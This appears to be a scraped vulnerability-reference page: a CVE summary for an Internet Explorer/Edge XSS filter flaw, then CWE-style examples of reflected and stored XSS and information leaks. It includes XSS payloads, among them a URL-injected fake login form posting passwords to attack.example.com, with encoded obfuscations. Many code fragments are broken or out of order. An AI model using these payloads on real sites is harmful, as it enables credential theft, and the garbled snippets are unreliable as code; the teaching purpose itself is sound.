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The RegEx class in the XSS filter in Microsoft Internet Explorer 9 through 11 and Microsoft Edge allows remote attackers to conduct cross-site scripting (XSS) attacks and obtain sensitive information via unspecified vectors, aka "Microsoft Browser Information Disclosure Vulnerability."
The RegEx class in the XSS filter in Microsoft Internet Explorer 9 through 11 and Microsoft Edge allows remote attackers to conduct cross-site scripting (XSS) attacks and obtain sensitive information via unspecified vectors, aka "Microsoft Browser Information Disclosure Vulnerability."
CVSS 3.0 Base Score 3.1. CVSS Attack Vector: network. CVSS Attack Complexity: high. CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N).
CVSS 2.0 Base Score 2.6. CVSS Attack Vector: network. CVSS Attack Complexity: high. CVSS Vector: (AV:N/AC:H/Au:N/C:P/I:N/A:N).
This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.
echo '<div class="header"> Welcome, ' . $username . '</div>';Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.
More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:
</div></div></form><input type="submit" value="Login" />The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0AThe same attack string could also be obfuscated as:
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.
This example also displays a Reflected XSS (Type 1) scenario.
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.
Employee ID: <%= eid %>The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.
<p><asp:label id="EmployeeID" runat="server" /></p>The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.
This example covers a Stored XSS (Type 2) scenario.
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.
Employee Name: <%= name %>String name = rs.getString("name");The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.
<p><asp:label id="EmployeeName" runat="server" /></p>This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.
The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.
CreateUser.php
/.../The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:
ListUsers.php
echo '</div>';exit;//Print list of users to pageecho '<div class="userNames">'.$row['fullname'].'</div>';The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.
Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:
saveMessage($announceStr);//save HTML-formatted message to file; implementation details are irrelevant for this example.An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:
<script>document.alert('Hacked');</script>The raw contents of the message file would look like:
<script>document.alert('Hacked');</script> has logged in.For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.
The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.
}}print "Login Successful";print "Login Failed - incorrect password";print "Login Failed - unknown username";In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.
While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:
"Login Failed - incorrect username or password"This code tries to open a database connection, and prints any exceptions that occur.
}openDbConnection();//print exception message that includes exception message and configuration file locationecho 'Check credentials in config file at: ', $Mysql_config_location, '\n';If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.
In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.
}
return userAccount;}userAccount = (BankAccount)queryResult.getObject(accountNumber);Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.
This code stores location information about the current user:
}...Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.
The following is an actual MySQL error statement:
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4The error clearly exposes the database credentials.
This code displays some information on a web page.
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.
The following program changes its behavior based on a debug flag.
} %>The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .
This code uses location to determine the user's current US State location.
First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:
deriveStateFromCoords(userCurrLocation);While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.
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